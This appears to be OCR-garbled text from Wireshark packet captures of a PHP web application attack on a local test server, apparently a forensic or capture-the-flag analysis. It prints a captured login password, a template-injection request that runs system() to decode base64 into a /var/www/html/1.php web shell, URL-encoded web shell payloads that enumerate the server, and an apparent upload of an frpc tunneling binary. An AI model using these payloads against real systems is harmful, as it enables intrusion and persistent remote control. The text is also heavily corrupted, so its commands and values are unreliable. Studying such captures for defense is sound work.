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Null/Loopback
Internet Protocol Version 4, Src: 192.168.2.197, Dst: 192.
Transmission Control Protocol, Src Port: 58283, Dst Port:
Hypertext Transfer Protocol
v HTML Form URL Encoded: application/x-wnwni-form-urlencoded
Form item: "username" = "test"
v Form item: "password” = "Adminl23!@#"
Key: password
Value: Adminl23!@#
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Content-Type: &
User.Agent! Moz

vt - foem e lencoded
intosh; Intel Mac 05 X 1815 7) SppleWebiie/537.36 (KHTHL, like Gecko) Creose/32.0.4515.107 Safard/
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Content-Langth: 249
Connectlon: close

<1DOCTYPE himlz
aneal lang="an"»
theady
dndta chariat="UTF-8"3
ctitleaTithes/tinler
£fheads
thadys
sscript language="Javascript™ type="testfjavascript™

alert{"rootin™}
window, location, bref=""/ezec" ;
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<fbodys

fhtml»
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- 332 396.895915 192.168.2.197 192,168.2.197 HTTP | BBB|POST /index.phpim=homea=assign_resume_tpl HTTF

339 423.950782  192.168.2.197 192.168.2.197 HTTP 1387 POST /1.php HTTP/1.1 (application x-wem-form-u
337 471.186528  192.168.2.197 192.168,2.197 HTTP 1366 POST /1.php HTTP/1.1 (application/x-www-Form-i
341 424.003011 192.168.2.197 192.168.2.197 HTTP 1421 POST fl.php HTTP/1.1 (application/x-w-fors-i
345 538.778186  192.168.2.197 192.168.2.197 HTTP 1429 POST /1.php HTTR/1.1 (applicationx-www-Formsi
1679 553.984512  192.168.2.157 192.168.2.157 HTTP 1437 POST /1.php HTTP/1.1 (application/x-wwn-Form-t
343 538._744071 192.168.2.197 192.168.2.197 HITP 1681 POST /1.php HTTP/1.1 (application/x-www-Form-1
1668 553.867907 192.168.2.197 192.168.2.197 HTTP 1777 POST /l.php HTTR/1.1 (applicationx-www-form-i
1634 553.674284 192.168.2.197 192.168.2.197 HTTP 3299 POST /l.php HTTR/1.1 (applicationx-we-Form-i
1891 551.969898  192.168.2.157 192.168.2.197 HTTP 3384 POST /l.php HTTR/1.1 (application,x-wwd-Form-1
1362 552.823875 192.168.2.197 192.168.2.197 HITP 3385 POST /l.php HTTP/1.1 (application/x-ww-Form-1

Upgrade - Insecure-Requests: 14ryn
User-Agent: Mozilla/5.8 (Macintosh; Intel Mac 05 X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.8.4515.107 Safarif537.36\rin
Accept: vext/html,application/xhtml+xml,application/xml;q=0.9, image/avif, image fwebp, image apng,* /= .q=0.8,application/signed-exchange v=b3;q
Accept-Enceding: gzip, deflate\r\n
Accept-Language: zh-CH,zh;q=8.9ryn
Cockie: PHPSESSID=cTrgBBitbodegddujcptéTmané; think language=zh-CN; think_templates=default;\rin
Connection: close\ryn
Content-Type: application/x-www-form-urlencodedr\n
Content-Length: 143%yrin
\rm
[Full reguest URI: heep://r192, 168,20, 1978081/ index, php m=homeda-assign_resume tpl]
[HTTP request 171]
R n n frame: 334
File Data: 143 bytes
~ HTML Form URL Encoded: application/x-wwaw-form-urlencoded
v~ Form item: "variable™ = "1"
Eey: wvariable
Value: 1
~ Form item: “tpl® = “data/Runtime/Logs/Home/21_08_87.log"
Key: tpl
Value: data/Runtime/Logs/Home/21_088_07.log
~ Form ftem: "asa” = "system( echo PIwaHAgZXNZhb{gkX1IFUNVFUIRBYWFhESKTP2d=|basesd -d > fuar e htal 1. php™);”
Eey: aaa
Value: system( echo PDSwaHAgZXZhbCgkX1IFINWEFULRBYWERXSKTPzd=|basebd -d > fvarfwa/html /1. php');
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| Content-Length: 1884
Connection: close

aaa=%40inl_set(X2display errorsE22E2CE00X200%22)X36%40set_time limit(B)X3Bfunction¥lBasenc(X2dout)
X7BreturnX2eX24outXIEXTOX3BFunctionk2Basoutput ( )X7EX2doutputXIDeb_get_contents()%38ob_end_clean()%3BechaX2eNI2beX22.
X220F2%22%3BechoR 2040 senc (X2 doutput )X3BechoX20X22F797 22 . X223 2 20X 2 XX 3BXT00b_start()

XIBtryXTBR2ADEIDA1 rname (X24_SERVERXSEE2ISCRIPT_FILENAMEX22E5D)

X3BiF(X24D%3I0%I0N2INI2)X240%30d irname (%24 _SERVERXSBX22PATH_TRANSLATEDX22X50 ) X3IBX24RNI0NI IXTEX24DXTOXOIN22X38 4 F( substr (X24DX2C0%2C1
| %30X22%2F%22)87Bforeachrange (%220X22%20X22TX22 ) as%20%X24L )1 (1s_dir(X22X7ER2ALNTORIARDD) JX24R .

XIDR22XTERIALETONINKD FXIBKTDe ] seXTBR2AR . XIDKIFNIFXIINIBETONIAR . KIDKIFRATEI 2NIBL2AuEID( function_exists(X22posix getegidXdd))
%3FX40posin_getpwuid(%48posix_geteuld() )XIAXI2X22XIBXN24%I0( X240 ) XIFR24UNSEN22name KT 2NG0NIAXAOget_current_user( )XIEX24R.
X30php_uname( ) X3BX24R . X30X22X09XTBX24sXT0R2 X3 BechoX 20X 2 ARXIBRIBXT0catch ( ExceptionX2@%2de ) ¥7BechoX20X2 2 ERROREIARIFXIFX2D . X2 da -
X3EgetMessage( )XIBXTOXIBasoutput | )E3IBdie( )XIBHTTP/1.1 208 OK

Date: Sat, @7 Aug 2021 89:48:19 GMT

Server: Apache/2.4.7 (Ubuntu)

X-Powered-By: PHP/5.5.9-1ubuntud.29

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Length: 131

|Connection: close

| Content-Type: text/htaml

| bEBF 2/ var e /html [/ Linux 766b512F452F 5.18.25-linuxkit #1 SHMP Tue Mar 23 €9:27:39 UTC 2021 x86_64 JERERIEF/97e32lel
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File Data: 1374 bytes
v HTML Form URL Enceded: application/x-www-form-urlencoded
~ Form item: "aaa" = "@ini_set("display errors”, "@");@set time limit(@);function
Key: aaa
Value [truncated]: @ini_set("display errors™, "8");@set_time_limit(@);functiol
v Form item: "j68071301598f" = "FBL3Zhci93d3cvaHRtb(ImcnBjlmluaQ=="
Key: jb8871381598f
Value: FBL3Zhci93d3cvaHRtb(OmcnBilmluaQ==
~ Farm item: "xaSdRPRGAeARTARIA" = "SRAIGFANGNAEAFSNAATIRST2TARASTISFA1AAAATIZ?AINIATI
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L3Zhci93d3cvaHRtbCOmenBjf# i base64 Bl 4 /var/iwww/html/frpc
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Comtent-Typa! application s wad-form.Urlencoded\rin
Comtent-Langth: 137430

Commprtion: close\rin

T4 bytes
orm UL Encoded:  application.wae. form-urlencoded
~ Form tem: “asa” = “§lni_set{“display_errors”, ~0°}fset_tise_limir(d
Key: aaa
Valoe [truncated]: gind_set{“display_srrors™, gret_time limie{d
~ Form Qtem: A0TSR = “FBLVIhe193d3cvahR bl Gncnl]inluad=="
Key: {6d S
Walr: hed33d i vatiftt ol SmcniliLalusl==
v Form item: “waldf@bef?i83a" = "TO6I0FGOGDGFOESDMATREE7TEE5T2EFE16S68T 200 KO BONL FRR22E M1 B60E0E 32303501 1 12 308AT 65 TTE657SF TOGF 727420302
Key: xaSdbdfetiidla
cated]; SO6IGFODGDGFGESDOATIEE 276657 2SFE1G4687 20 M0 N1 P X2 REXL 36 FER0 N2 33000 1 3230007 06576657155 TOGF 727420302037 3737 360

netion asoutput{}){Soutput=ob

pfunceion asenc(fout){retern Sout; )

function asenc|fout] {retern Sout; ) function asoutput{}{Soutput=c

Valwe [
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